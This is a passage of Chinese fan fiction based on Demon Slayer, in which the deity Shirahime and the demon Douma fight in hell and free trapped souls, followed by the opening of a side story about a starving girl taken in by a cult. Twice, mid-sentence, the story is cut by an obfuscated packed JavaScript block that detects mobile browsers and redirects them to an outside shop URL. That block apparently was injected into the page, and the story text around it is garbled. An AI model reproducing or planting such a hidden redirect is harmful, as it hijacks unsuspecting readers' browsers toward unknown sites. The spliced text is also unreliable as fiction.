已经什么也来不及想,我左手在刀刃上划出一道长长的血色,将染满鲜血的长刀指向天空中的三途河。 “沧龙·积云!” 四周的乌云开始迅速向时轮的方向聚拢,那道日光渐渐变得暗淡下去,最终只剩下一抹惨白的光影。 但要维持云层的不动需要耗费巨大的灵力。我扭头对童磨说,“我去毁掉那只轮子,你杀掉那个僧人。” “好哦~”鬼欢快的说。 我转身踩着一道激流冲向时轮的方向,三道蛇牙刃飞舞在我身旁,在我的心念下分作了六条,死死缠住了那青铜的圆环。 一刀刺进圆环的中心,巨大的冲击几乎把我吹飞,拼命稳住身体后,迎着云层之后刺目的日光,我看到自己的手臂上现出了青蓝色的鳞片。 “给我……绞杀!” 随着一声刺耳的铮鸣,青铜轮终于裂开了一道缝隙。 “白姬,你是认真的吗?” 缝隙之上,突然出现了一双踩着木屐的赤足,一名黑发的少女坐在时轮上,冲我露出惊讶的表情。 “你在强行调用神体的力量,知道那是什么后果吗?” 我懒得理她,只把所有力量都集中在手中的刀上。 “即使失去一切,即使对方根本不记得你,也要为此拼上性命吗?“她问,“况且那只鬼恶贯满盈、罪孽深重,你打算如何面对因果的失衡?” “阁下多虑了。若说他有罪,试问定罪者何人?神明从未直视人世的苦难,从战国到江户再到大正,数百年的战乱、饥荒、洪涝、瘟疫,但凡真有神佛行走世间给予足够的救济,也不至于让一只鬼来充当救世主。” 我冷笑,“人类受苦时你们说要讲三世因果,痛苦皆是前因所造就,今生要赎清罪过,来世就能享福;人类作恶时你们说也要讲三世因果,此生有权有势为非作歹的人,是前世积累了足够的福报。试问,何为因果?何为天道?笑话罢了!” “是你们自己对人类的互相倾轧和反复无常无计可施,干脆甩手不管吧?这样只享受供奉,说几句漂亮话的神灵,还不如那只鬼愿意用他的方式救人出三界火宅!” “白姬,你疯了。”黑发少女说,“那个人类巫女的心干扰了你作为神灵的清醒。” “没有她,就没有名为白姬的神灵,阁下是不会懂的。”我微笑道,“如果硬说因果,作为水神,我自问数百年间尽职尽责,泽被荒川两岸,作为巫女,我自问为众生牺牲生命,为干旱之地降下大雨,为瘟疫之地驱逐污秽。如是诸般善行,只为那只鬼求一个新生,他若真有什么罪孽,我和他一起扛着就是!” 青铜转轮上遍布了白色的裂纹,终于在一声巨响后炸成漫天碎片。 47. 白姬(14) 我落回地面时,正看到童磨从地上的一堆灰烬里取出一颗荧绿色的晶体。 “好奇怪呀,小染。”他略有点困惑的说,“这个人自己就变成这样了呢。” “应该是灵体耗尽了吧,人类是无法长久承受死灵的力量的,最终结果要么是变异成怪物,要么是燃尽自己。”我轻声说,“但愿他能放下执着。我们走吧。” “神明大人!” 身后传来谢花梅尖脆的嗓音,我回过头,看到她被妓夫太郎抱着,兴高采烈的朝我挥手。 上弦之六的样子看起来有点恐怖,全身好像被血洗了一遍一样。但谢花梅在他怀里毫不介意,印着小花的和服上连一个血印子都没有沾上。 恶鬼怀抱着他的妹妹,像是怀抱着全世界唯一的珍宝。 “我就说我是厉害的上弦吧!”小梅得意洋洋的说,“是我救了神明大人哟,你还不感谢我?” “我一点也不意外,因为你是最勇敢的小梅呀!”我夸她。 “哈哈,我就知道我们一定能赢!我和哥哥在一起就是无敌的!”小梅攥紧拳头,“你们这边怎么样?那几个人……咦?没有其他人了吗?” “啊,没有了呢。”我笑笑,“我们也赢了哦。” 小梅脸上的笑意突然僵住了。 “那个讨厌的家伙呢?”她呆呆的问。 我无言的低下了头。 “诶?搞什么啊,我、我还想打他来着…那种连给我提鞋都不配的家伙…” 面前依然是那片整洁的、铺着白色石子的宅邸。我明明记得在我和千越第一次交手时,产生的爆炸掀翻了宅邸的屋顶,但这座房子就好像有生命一样,这么一会儿工夫,就恢复了原样,似乎外面的大战对它没有任何影响。 我感觉不太对劲,于是对谢花梅说道,“你和你哥哥在外面等我们,有问题马上跑。” “这里的味道有点奇怪,”小梅皱皱眉,“你小心一点。” 我站在那扇绘有紫藤花的纸门前,缓缓拉开了门。 年轻的主公端坐在屋内的屏风前,清隽的脸上一片平静。 “染小姐,”他冲我点点头,“你果然回来了。” “现在只剩你了,主公大人。”我淡淡的说,“说出打开‘门’的方法,我就放了你。” “这才是染小姐混进这里,迷惑早云那孩子的真正原因吧。”主公微笑道,“很遗憾,你应该知道我的答案。” “我料想到你不会说,你这样的人,为了达成所谓的大义,对自己和他人的性命都不会在意。但我依然想告诉你,你所做的一切只是在喂养仇恨罢了,你们以仇恨作为自己存在下去的动力,为了复仇不惜将自己变得与憎恨的对象一样,这很可悲,产屋敷。” “染小姐不了解人类,”主公温和的说,“人类的友谊、亲情、喜怒哀乐,你大概都不曾体会。因此你也不懂,对于人类而言,仇恨是和爱一样重要的情感。被鬼夺去过重要之物的人,永远也不会原谅鬼的行为,他们必须看到鬼之一族的覆灭。这不是一个人的意志,而是一千多年来所有鬼杀队士的意志,即便躯体消散也会传递下去,而我们每个人都做好了为此付出一切的准备。” “我的确不了解人类,也无法理解他们的纷争、他们的爱与恨。”我垂下眼帘,“我也曾被人类夺走重要的东西,但也曾有幸得到过人类的友谊和救赎,我决定将这些宝贵的东西传递下去,而不是其他。产屋敷,你已经成了深陷此地的这些可怜的灵魂的一面旗帜,成了执念本身,我必须净化你,他们才能得到解脱前往来世。” “那就请吧,染小姐。”主公正襟危坐,像一位圣徒,“我不是第一次经历死亡了,能够和这些孩子并肩作战是我的骄傲,能够不负使命,作为人类而死,也是我的荣幸。” “啊啊,多么感人啊~” 白橡色头发的恶鬼从屏风后悠然的走出来,擦了擦脸上的眼泪,将手中拖着的女人丢到了地上。 “无惨大人如果在的话,大概会给我双倍嘉奖吧,毕竟人家既见到了传说中的产屋敷,又捉到了著名的珠世小姐呐。”他用合起的扇子轻轻拍拍女子的脸,“真是美好的一天,惊喜一件接着一件呢。“ “珠世小姐是无辜的,她来到此处只是为了替自己曾经杀死人类的行为赎罪,并未参与我们的行动。”主公沉声道,“不要把她牵扯进来。另外无惨也不在这里,你想向他邀功的话,可能要去地狱的最底层找他了。” “谢谢阁下的提醒,那还真是有点远呢,人家懒得绕路了。”童磨懒洋洋的说,“就在这里解决这件事吧。” 几根冰莲蔓瞬间缠上了主公的身体,将他紧紧压制在墙上。 可能被这动静所惊醒,珠世轻轻颤抖了一下,睁开了那双如同含着薄雾的紫色眼睛。 在片刻的茫然后,她脸上居然缓缓绽放出一个笑容。 “上弦之贰。”女人轻声说,“竟然能在地狱里见到你,真是意外…不对,这是意料之中的事啊,毕竟那个计划,我可是和忍准备了好久呢。” 她的笑容更加绚丽,如同一朵盛开的曼荼罗花。 “700倍致死量的紫藤花毒,足以重创上弦,从内脏到骨头都被腐蚀融解的感觉怎样?看来你确实就这么凄惨的死掉了,呵呵呵…” 我的身体在大脑做出反应之前就先一步动了起来,等我恢复理智的时候,已经抓着她的脖子将她狠狠的撞在了墙上,尖锐的指甲深深插进了她的颈侧,血液喷涌而出。 “你对他……做了什么?” 我全身都在发抖,咬着牙问道。 她刚刚的那句话,每一个字都让我痛到难以忍受,但我还是忍不住要问。 “你…再说一遍,你对他…做了什么?” 珠世注视着我,眼神从最初的惊愕渐渐恢复了平静,乃至冰冷。 “原来如此,染小姐,你真是个可怜的人呢。”她说。 “你大概不知道,上弦之贰是一只多么可怕的鬼,若说吃人的数量和恶劣程度,比起无惨也有过之而无不及,而且他的血鬼术太过强大,单凭两三位柱甚至更多,我们都没有把握能杀死他。” 她露出一丝讥讽的笑,“但这只鬼有个嗜好,就是贪吃,尤其喜爱吞噬年轻漂亮的女人。正巧有这么一位对他充满憎恨的女孩子,我们就一起设计了这个计划,提前一年就开始准备了呢,那孩子用自己的身体作为紫藤花毒的容器,为了确保万无一失,我还特意将毒改造成传遍全身后才会发作的类型,结果就是你看到的这样,地狱真是无比适合他这种肮脏的家伙的地方呢!” 她抬起鲜血淋漓的手,抚上了我的脸。 “真是可悲啊,染小姐,这就是你在等的人吗?你在地狱里等了两百年的时间,就是为了等上弦之贰这个毫无人性的渣滓?我可真为你感到悲哀,要知道地狱就是为他这种人准备的呢。” 不,并非像你所说的那样,那是…… 是救赎。 江户城樱花盛放的大街上,微笑着的小小神明,山巅冰雪般美丽的光芒。 ——您脸上都是土呢,快站起来清理一下吧。还有没有哪里受伤?小心一点哦。 是憧憬。 ——他从来不会害怕,又那么温柔。他还有那么漂亮的光,也许真的是神明之子也说不定哦。 ——他长大后一定会成为了不起的人吧。 是未能完成的约定。 ——明年樱花开放的时候,你还要来我这里哦! ——白姬小姐,我们后会有期。 是无法阻止的背影。 ——毕竟,我从来,都没有听到过神明的声音啊。 是无可挽回的结局。 嘀嗒,嘀嗒。 殷红的鲜血滴落在青绿色的茶席上,逐渐流淌成细细的河流。 我全身爆燃起蓝色的烈焰,手臂上乍现出蛇的鳞片。 “我要杀了你。“ 我听见自己的声音笃定的说。 杀了你,杀了你,杀了你,杀了你,杀了你,杀了你,杀了你,杀了你…… 突然之间,一双冰冷的手捂住了我的眼睛。 像冬雪一样寒冷的、骨节修长的手,却非常有力量。 “真是让人看不下去了呐。” 一个轻柔的声音在我耳畔响起。 “竟然偷偷在用血鬼术迷惑这孩子吗,珠世小姐?我猜的没错,果然摆脱了无惨大人控制的鬼,是可以使用血鬼术的。但迷惑神灵,可是有罪的哟。“ 我挣扎了一下,居然完全摆脱不了那双手的钳制,“童磨,你别管,我要杀了她!我要……” “诶呀,小染也是个傻孩子呐,她说什么你都相信吗?”鬼轻轻笑起来,“我可是相当喜欢那个毒呢,啊,那种感觉真是太棒了,人家简直想再来一次呢!况且严格来讲,也不是不能解开的啦,只是不小心被砍掉头而已。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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地面震动了一下,正当我以为即将迎来第三轮爆炸时,那座宅邸在骤然之间分崩离析,一尊巨大的冰菩提像在无数莲花的簇拥下,升起在大地之上。 银色的霜华在顷刻间覆盖了燃烧的荧火,睡莲菩萨迤逦的裙裾下,是不断延展的冰面,将死灵的怨念和四百年的执着埋葬在一望无际的纯白之下。 菩提垂目,拈花微笑。 照见五蕴皆空,度一切苦厄。 虽然深知那不过是强大的血鬼术,我还是产生了面对神佛的幻觉。 不过这幻觉没持续多久就被熟悉的贱兮兮的声音打破了。 “诶呀呀,好危险,真是好危险呐~” 红衣的恶鬼从冰菩提的肩上跳了下来,挂着一脸无忧无虑的微笑,悠哉悠哉的走了过来。 我朝他狂奔过去,在他面前一步停住,感觉自己的心脏快要跳出来。 这样下去,神灵也要被他吓成神经病。 “……童磨,我到底欠了你多少钱啊?” 鬼满脸惊讶:“小染欠我钱吗?我怎么不记得?等一下我翻翻脑子哦…” 我眼疾手快的一把抓住他戳向自己脑袋的手,忍气吞声地说:“没事了,是我记错了……所以到底是谁引爆了下面的死灵巢穴?产屋敷还是珠世?” “产屋敷一死,那个就会自动炸掉,真是没办法的事啊。”鬼摊摊手,“至于珠世小姐嘛……” 我随着他的目光看去,发现菩提像摊开手掌,将一名昏迷不醒的女子放在了地上。 “她实在是罪孽深重,还怎么也不肯接受我的救赎,真是太悲哀了。”鬼抹了把眼泪,“而且她看起来一点也不好吃,人家只好封住她的血鬼术,把她留在这里啦~” “呜哇啊啊啊啊~~” 不远处传来破了音的嚎啕声,我吓了一大跳,发现是谢花梅抱着妓夫太郎在嗷嗷大哭,后者一脸无奈的捧着她哭花了的脸,笨手笨脚的帮她擦眼泪,四周的地面上散落了无数玫红色的缎带。 “哇啊啊~我以为哥哥又要死了~”小梅的眼泪比喷泉还夸张,“吓死我了哇啊啊~” “小梅,你那是血鬼术吗?”我好奇的朝她喊道,“真是超漂亮的啊!” 她边哭边恶狠狠的喊回来:“我都说了我是上弦之六!真的是上弦之六啊!我超厉害的啊啊啊!” 守护彼此的信念,就算跨越百年,也不会有任何改变。 这不仅是人类的信念,也是鬼和神灵的信念。 48. 白姬(15) “啊,差不多要开始了哦。”童磨忽然望着睡莲菩萨的方向说道。 冰菩提的脚下渐渐亮起了淡金色的光,下一刻,一道金色的光柱冲向苍穹,三途河的光脉在天空中显现出来,与那道光柱相连在一起,昏蒙的天地之间仿佛打开了一道耀眼的缝隙。 “是门……”我不禁愣住了,“童磨,是门啊!” “果然被人家猜到了,呵呵呵~”童磨用扇子掩着脸,笑的无比欢快,“这个产屋敷,把这么大的秘密藏在自己的房子底下,还真是狡猾的很呐~” “你可真是个天才啊!童磨大人!”我震惊的看着他,“你是怎么猜到的?” “真是的,人家明明说过有用血鬼术记录进入这层时的灵力场吧,所以一来到这里就发现了哦。”天才的上弦之贰颇为委屈的说,“看来小染都没有认真的记住人家的话啊,人家可是神明之子,以前讲的话都要被信众记下来的哦~” “等从这里出去了,我给你写本书!”我信誓旦旦的说,“现在我要尽一点作为神明的职责,给你看看真正的神是怎么工作的。” 我张开双手,听见左手的银铃“叮”的响了一声,像是女孩子细碎的笑声。 青蓝色的灵光像一只苍鹭盘旋着上升,与三途河的灵脉交相辉映。 “沧龙·净化之雨!” 无数的水滴自苍穹飘落,将死灵之森笼罩在清澈澄明的雨雾当中。 在荒凉的大地之上,渐渐浮现出一点一滴的白光。它们像是春季山坡上被风吹散的蒲公英,向着那道光柱飞去,迎接全新的旅程。 它们从闪耀着寒光的日轮刀旁飞起。 它们从破碎的白色羽织旁飞起。 它们从深深插入土地的青铜转轮旁飞起。 它们从宽阔厚重的反曲刀旁飞起。 它们从历史的尘埃里,从被遗忘的黑暗中飞起。 记录着相遇时所有美好的瞬间,也记录着诀别时所有心碎的时刻,向着来世飞去。 我看到那一个个年轻的身影踏出黑暗。他们为了自己的信念战斗到死,作为敌人,我尊重他们的选择,作为朋友,我铭记他们带给我的温暖。 最后一个身影是黄色头发、梳着奇怪小辫子的挺拔青年,披着鹤纹的白色羽织。 他恋恋不舍的朝我挥了挥手,转身没入光芒当中。 再见,平八郎。我对他说。 愿来世相见的时候,我们重逢在和平的时代。 “哥哥,我们…也可以走了吗?” 谢花梅站在那道光柱前,好奇的伸出手碰了碰,脸上浮现出兴奋的笑容,“好像真的可以诶!哥哥!” 我走过去伸手感觉了一下灵力的流动,对她点头道:“可以了,顺着这个光出去,你们就可以转世了。” 小梅难以置信的看着我。 “神明大人…我们…要分开了吗?”她喃喃道,“讨厌啊,明明感觉才刚刚见面啊…” “但是小梅已经是坚强的女孩子了哦。”我蹲在她面前,揉了揉她柔软的银白色头发,“记住我说的话了吗?不要执着于往昔的仇恨,要努力的去争取幸福。唉,你不要哭啊!” 小梅抹了把眼泪,恶狠狠的说,“谁哭了?我可还记得,你欠我一座池塘呢!我要带鲤鱼的那种!你敢欠债不还的话,我和哥哥是会上门要债的!” 她转身向妓夫太郎伸出手,“哥哥,我们走吧。” 绿发的恶鬼迟疑的向前走了一步,小心的将手伸向那道光柱。 呲—— 他猛地往后一缩,呆呆的看着被烧的发黑的手,咧嘴露出一个苦笑。 “小梅…往光明的地方去吧。”他说,“看来只有人类的灵魂才能通过这里呢。” 谢花梅的眼睛里立刻泛起了泪光,她不管不顾的扑过去死死抱住了他。 “我不要!说好了要永远在一起!”她痛哭出声,“哥哥忘记了吗?那个下雪天你对我说的话?你忘了吗?只要我们两个在一起,就是无敌的!无论转世多少次,我永远、永远都要做妓夫哥哥的妹妹!” “笨蛋!”妓夫太郎突然翻了脸,面容扭曲的厉声吼道:“你怎么还不明白啊?!我是鬼!我只能呆在地狱里!没有我你会过上比这好的多的生活!下辈子生在幸福的人家,嫁个好人……” “我不!没有哥哥我哪里也不去!”小梅哇哇大叫起来,“我哪里也不去!我不走!” “诶呀,容我插句话~”旁边忽然有个声音不紧不慢的开口。 “你们到底为什么在哭呐?“ 妓夫太郎抱着死不撒手的妹妹,无奈的挠了挠脸,看得出他对这位喜怒无常的上弦之贰极为敬畏。 “童磨大人,这道门…鬼是不能通过的。再说我现在是大人您的眷属,我的一切都听凭您的安排。我想让小梅先走,可她……” “诶?”童磨颇为困惑的歪了歪头。 “人家有说过不允许你离开这种话嘛?” 我们三个全都愣在了原地。 妓夫太郎看起来完全呆住了,连话都说的结结巴巴: “但…但是,您赐予了我鬼血,我现在的灵魂是鬼,我…如果是无惨大人的话…” “这话真是太让我伤心了,人家又不是无惨大人嘛~” 鬼的彩虹瞳孔里掉下两滴眼泪。 “人家一直是温柔又善良的人,怎么会做出拆散你们兄妹的事嘛!这样也太可怜了!” 他哭的极其伤心。妓夫太郎看起来更说不出话了。 “可、可是我身上的鬼血是您的,我的命就是属于您的啊……” “鬼血当然是重要的恩赐,是神明的救赎哦~”童磨擦擦眼泪,“但如果你脑子笨到不想接受救赎,我也没办法啦。人家可不想像无惨大人那么蠢,把自己宝贵的鬼血丢的到处都是,最后被珠世小姐这种人抓到把柄,真是太危险了,那种事可不能发生第二次呢。” 妓夫太郎的脸抽搐了几下,最终挤出了一个不知是哭还是笑的难看表情。 他退后了一步,郑重的单膝跪下。 “童磨大人…您对我和妹妹的救命之恩,我们永远不会忘记。“他补充了一句,“两次都不会忘记。“ 童磨大人笑的很是自得:“诶呀诶呀,还是第一次收到这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252325|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正式的感谢呢!让人家说什么才好呢?真是太感动了呀。” 他低下头,稍微收敛了笑意,“妓夫太郎,现在我问你,你确定不需要我的救赎了嘛?” “我…想要和妹妹一起去转世,去过普通人的生活。”妓夫太郎的声音虽然颤抖但坚定,“如果…如果可以的话,请童磨大人…收回您的救赎。” 童磨大人叹了口气,“好吧,满足信徒的愿望是神明之子的义务哦。” 金扇锋利的边缘轻轻划过妓夫太郎的手臂,割开一道伤口。童磨勾了勾手指,那道伤口中开始不断涌出暗红色的血,在伤口上方的空气中凝结成一团,散发着冰霜般寒凛的白光。 随着血液的涌出,离奇的一幕发生了。妓夫太郎的身形渐渐变回了那瘦弱的少年模样,头发变回了黑色,只有脸上的黑斑和佝偻的身体,依然携带着上弦之六的印记。 但有一点始终不变。谢花梅站在他身旁,紧紧拉住了他的手。 吉原罗生门河岸的兄妹,相依相伴着走过了百年的血与火,走过了苦难与杀戮,走过了人世与地狱,最终走向了二人共同的未来。 小梅在光芒中最后回头看了我一眼,那口型在说: 我的池塘! 我冲她点点头:带鲤鱼的! 目送所有的白色光点消失在‘门’当中,我转过身朝童磨走去。 白橡发色的鬼站在那里,略有些困惑的眨了眨眼。 “小染…不走嘛?“ 我莫名其妙的看着他,“我为什么要走?” “诶?但小染不是一直说要离开这里嘛?你是神灵吧,神灵的话,是可以通过那里的呀。你刚刚不是也试过了嘛?” 那只鬼露出了孩子一样天真的神情,破天荒的思考了一会儿,最终恍然道:“原来如此!我懂了,小染跟我一样喜欢地狱,否则也不会在这里呆这么久嘛!呵呵呵,我就说嘛,跟人家一起呆在地狱里就是最幸福的啦~” 我感觉自己的脸在抽搐。 谁能告诉我,天才的鬼…脑子都是这么不正常吗? “童磨大人,你是真的脑子有病,还是装的脑子有病?”我终于问出了这个困扰我已久的问题。 “诶?人家的脑子没有病!”他立刻抗议道,“连无惨大人都说过,人家做鬼的天赋比别人多一倍呢!” “……算了,当我没问。你饿不饿?“ 听到这话,鬼的神情立刻萎靡下来。 “小染这么说的话…好像确实是有点饿了呢,用了好多血鬼术啊,那个产屋敷也一点都不好吃,人家都没有吃完…呐呐,小染,人家饿的走不动啦~” “快点走啦,再不走你饿晕了我可拖不动你啊!”我一把抓住他冰冷的手,“我今天血足,你想吃多少吃多少。” “诶?真的吗?”他笑的露出了雪白的尖牙。 “那人家能要一条腿吗?” “……不行!” “一条胳膊,一条胳膊总可以吧?小染闻起来好香呀~” “啊啊,不要现在就咬啊!” 这场属于我们的地狱之行,看来还远未结束呢。 49. 江户篇·极乐往事(番外) 明亮之星,早晨之子啊,你何竟从天坠落?你这攻败列国的何竟被砍倒在地上? 你心里曾说:我要升到天上;我要高举我的宝座在神的众星以上;我要坐在聚会的山上,在北方的极处。 我要升到高云之上;我要与至上者同等。 然而,你必坠落阴间,到坑中极深之处。 ——以赛亚书14:12-14:15 1. 今年又是个灾年。春听老人们说。 刚过新年,父亲就催着动身了。原因无他,家里的粮食不够吃了。春还有一个哥哥,一个弟弟,作为家里唯一的女孩,在红薯和野菜都少的可怜的年景,卖去吉原的勾栏里都不是什么稀罕事,叔父也确实出了这个主意,但母亲抵死不干,拿把剪刀横在脖子上,春才有了另一条活路。 动身前两天,母亲找出她最好的一件旧和服,改成了一件不那么合身的女孩衣服,边缝袖口边絮絮的嘱咐她: “到了那边要懂事,眼里要有活,千万别懒。我听隔壁阿玉说了,那极乐教的教祖大人心肠很好,教里也有地方收留无家可归的人,是个好去处。等过几年年景好了,就让你父亲在村里给你寻个好男人,把你接回来。小春要听话,一定要努力呀。” 春虽然只有九岁,除了因为总吃不饱,个子太小以外,家里的农活都干的很利索,因此她对自己很有信心。 “没问题的,母亲,小春一定会加油的!“ 元旦的第二天,天还没亮,父亲就带着她出发了,两人拎着一些简陋的土产,沿着山路走了很久,直到午后才找到那处寺院。春看到门口的木牌上写着三个字,但她不识字,也不知道写的是什么,山里天气很冷,积雪还没化掉,寺院门前也有厚厚的雪,雪地上留着她和父亲的脚印。 为他们开门的男性身穿奇怪的白色衣服,扣子一直扣到领口。寺院看起来很宽敞,绕着主殿建有一圈池塘,因为是冬天,池中结了冰,枯黄发黑的莲叶和莲蓬冻在冰里。 父亲见她东张西望,赶忙按住她的头,狠狠瞪了她一样。他们跟着一名穿着同样白色衣服的少女来到了侧殿的廊下,那名少女看了看春脚上露出通红脚趾的草鞋,摇了摇头。 “这样可不行。请稍等片刻。” 没过多久,她就拿来了洁白的足袋和新的草鞋。春长到这么大,不管冬夏都是打赤脚,这下几乎像是收到了新年礼物般开心。 父亲跪在地上一个劲的道谢。白衣少女温柔的笑道: “万世极乐教一向救济贫苦之人,并不是只针对你们,不用介意。” 少女还为他们端来了热茶和几块菜饼子。春从早上就没吃饭,那饼虽然是粗面做的,却香甜无比,不顾父亲那警告的目光,她狼吞虎咽的吃了个干净。 “好有精神的孩子,教祖大人一定会喜欢的。”少女笑着说。 这一等就是一整天,春在这里吃了两餐,虽然都是些粗粮,但有豆腐,还有海带汤,这在乡下是不可想象的事。父亲看起来也很是心满意足。 “小春真是命好啊。”他私下偷偷说,“要努力留下,这样就不用饿肚子了。” 到了傍晚掌灯的时分,白衣少女才姗姗来迟,告知他们可以拜见教祖大人了。父亲紧张的理好衣服,又拽了拽她那件略显宽大的和服,叮嘱她不要说话,该哭时就使劲哭,父女二人就随着那名白衣少女亦步亦趋的进入了主殿的回廊。 乌木的地板踩上去无比光滑,春几乎怕自己会滑倒,那就彻底丢脸了,于是连步子都不敢迈的太开。走了不知道多久,引领他们的少女停在了一扇纸门前,跪在了地上说道: “教祖大人,我将那对从琵琶湖赶来的父女带到了。” 门里传来个清亮的声音。 “请进,让他们进来吧。” 春正想着这里怎么会有小孩子,就被父亲拉着走了进去,室内燃着炭炉,非常温暖,檀香的气味扑面而来。春不敢抬头,余光只看到是一间宽阔的厅堂,陈设的器具都是她没见过的,只敢亦步亦趋的跟着父亲,跪在地上。 “你们是从琵琶湖来的?好远啊,一定走了很久的路吧?真是辛苦了。” 清亮的童音从前方传来,春还是忍不住好奇心的抬起了头,看到一扇绘着莲花的金色屏风前,坐着一名身披黑色法衣、头戴毗卢帽的男童。那孩子最多不超过十岁,漂亮的像她在町人家里见过的生绢娃娃,垂落到肩膀的头发是白橡木般的颜色,双眼中竟荡漾着一层彩虹光,即便在室内的烛火中也显得晶莹剔透,流光溢彩。 就连在梦里,她都没见过如此奇异而美丽的眼睛。 大概是发现她傻呆呆的一直看,男童露出了甜美的微笑:“你叫什么名字?多大了呀?” 父亲惊慌的按住她的头,替她回答道:“回教祖大人的话,小女叫阿春,今年满九岁了。因为乡下闹灾,我们家实在过不了了,再这么下去这孩子就只能饿死,还请您垂怜,在教里给她找个活做,她做饭洗衣都是一把好手,绝对能干!” 这个小男孩,居然就是传说中极乐教的教祖大人?!春惊讶极了,但丝毫不敢表露出来,只能低头伏在地上,假装抹着眼泪。 “真是太可怜了,连京都府周围都已经到这种地步了吗?” 那位小教祖沉吟了片刻,开口问道: “夕月,我们现在哪里还缺人手?有没有适合这么小的孩子的?” 那名白衣少女低头道:“这孩子年纪太小,又是刚从乡下来,怕是不懂教里的规矩,我先给她在厨下安排个位置,做点打扫的工作吧。” “太好了。”小教祖的声音听起来很是高兴,“小春,是叫小春吧?” 春这才回过神来,忙低头贴地,“是,是的!您叫我小春就好!” “小春就跟着夕月一起,去厨下帮忙吧。不用担心哦,神明已经听到了你们的愿望,一切都会好起来的。” 神明……吗? 春第一次知道,原来神明是真的会给饭吃的。 2. 于是春就在这个称为“万世极乐教”的地方住了下来。这里的常驻信众差不多有一百人左右,都是奉献了自己全部的财产、虔诚的跟着教祖大人修行、期望死后前往极乐净土之人,每天早课晚课和祷告都进行的十分规律。另外也有些住在外面的信众,他们还过着世俗的生活,但也会定期来到教内向教祖大人祷告。 春听夕月说,教祖大人不是普通的孩子,而是神明之子,那无垢的发色和虹彩的瞳孔就是证明。教祖大人还异常聪慧,从小就能听到神明的声音,能为教众指点迷津,因此,来到极乐教寻求他帮助的人总是络绎不绝,上至京都府年俸千石的旗本老爷,下至普通的町人乃至乡民,极乐教向所有需要神明指引的可怜人敞开大门。 也因此,那位小教祖每天都很是忙碌,不是在倾听信众的忏悔和祷告,就是在主持早课和晚课。春记得在乡下,十岁左右的男孩还是在田里撒欢或是玩弹珠的年纪,但在这里,人人都对教祖大人毕恭毕敬,因为据说只要全心全意的相信教祖大人的救赎,在死后就可以去往极乐净土,那是神明的世界,是一个人人都可以幸福生活的地方。 夕月长了一张白净的瓜子脸,很是清秀。她从小就跟着母亲来到了极乐教,母亲去世后,就接任了教祖的贴身女侍的工作,这一年已经满十五岁了。 将春带到女侍们居住的小屋时,夕月第一件事就是烧了一盆热水,水里还泡了艾叶和菖蒲,叫她洗干净。 “教祖大人是神明之子,不能接触污秽,你身上绝对不能有味道,还有,你在厨下干活时,要注意手上身上不能沾到血腥或鱼腥,那都是不洁的气味,如果要去见教祖大人,一定得马上洗干净。” 夕月想了想,又仔细叮嘱道,“教内不可以乱跑,只有参加过入教仪式的信众才能去参加早课和晚课,但如果你需要,可以去找教祖大人祷告,记得去之前要换干净的衣服。” 春听的连连点头,心想这极乐教的教祖大人虽然看着是个小孩,活的简直像神社里的那些神官大人一样,也忒讲究了。 如此讲究的教祖大人,饮食上倒是简单的很,不,与其说是简单,不如说是另一种形式的挑食。春跟着夕月准备膳食时,发现总是那一两种鱼和菜蔬。来到这里一个月之后,有次春忍不住问起来,夕月就叹气了: “清子夫人在的时候太过限制教祖大人的饮食…导致他从小就只吃那几样东西,偏食的厉害。但现在已经在改了。” 看到春不解的眼神,她补充道: “清子夫人是教祖大人的母亲,已经过世了。你记住,不要跟教祖大人提起这个名字,在教里也不要跟任何人提起。” 说着她就往盘里多夹了两块鱼。 但春跟着夕月去送午膳时,却见识了那位小教祖难缠的一面。 “我不要嘛!”长的粉装玉琢的小男孩撅起嘴巴,“最讨厌鲣鱼了!” 夕月只得跪下来哄他:“教祖大人不可以再挑食了,要吃的有营养一些才能长高哦。” 那孩子眨着一双七彩琉璃般的大眼睛,看起来无辜极了。 “夕月只会欺负我,逼我吃我不爱吃的东西,”说着说着,他竟然真的掉下来几滴晶莹的眼泪,“我好难过呀。“ 夕月明显禁不住这个,只好无奈的夹走那两块鱼,“那教祖大人请等一下,我去给您做点别的。小春,你帮教祖大人把炭炉里的炭重新换一下。“ “好呢!”教祖大人变脸倒是快,转瞬间破涕为笑。 夕月出去后,春留在屋子里清理炭炉。就听小教祖叫她: “小春?” 春赶快伏在地上,“是,教祖,您还记得小女的名字呢?” “当然了,我的记性很好,你们的名字我都能记住哦。”小教祖笑吟吟地说,“你起来吧,不用行拜礼了。小春在这里还习惯吗?过的开心吗?” “回教祖大人的话,小女在这里比在家乡好了不知道多少倍呢,至少能吃到豆腐和麦饭。在家时每次交完年贡,就只有橡子面吃了,如果年贡交不够,村吏找上门来问罪,父亲和母亲还要挨板子呢。” “好可怜啊,这样活着一定很辛苦吧?” 春看到教祖大人的眼中涌出了泪水,神色很是悲伤的样子,不由得有点感动。 “是,是的。就算再怎么努力,也总是吃不饱…小女底下原本还有一个妹妹来着,但生下来就死了…”春自己也哽咽了,“到实在没东西吃的时候,大人们就会把刚出生的女孩溺死…如果留在家里的话,叔父本来要将小女卖到…卖到那种地方去,幸好母亲听人说极乐教能收留无家可归的女孩子,小女才能…才能…”她擦了擦眼泪,“对不起,不该跟您讲这些残忍的事的。” “不是那样的哦,小春。” 一只小小的手摸了摸她的头顶,“聆听信徒的祷告是神明之子的义务,我就是为了让信徒们得到幸福而诞生的。所以不用担心,有什么难过的事就请说给我听吧,这里的每个人都是这样哦。” 春抬起头来,看到那披着黑袍的男孩站在她面前,脸上带着如同神佛一样悲悯的微笑。 好漂亮啊,那双眼睛。 只要追随这位神明之子,就一定能得到幸福吧? 门口传来了夕月的声音:“教祖大人,我可以进来了吗?” “可以哦,请进来吧。“ 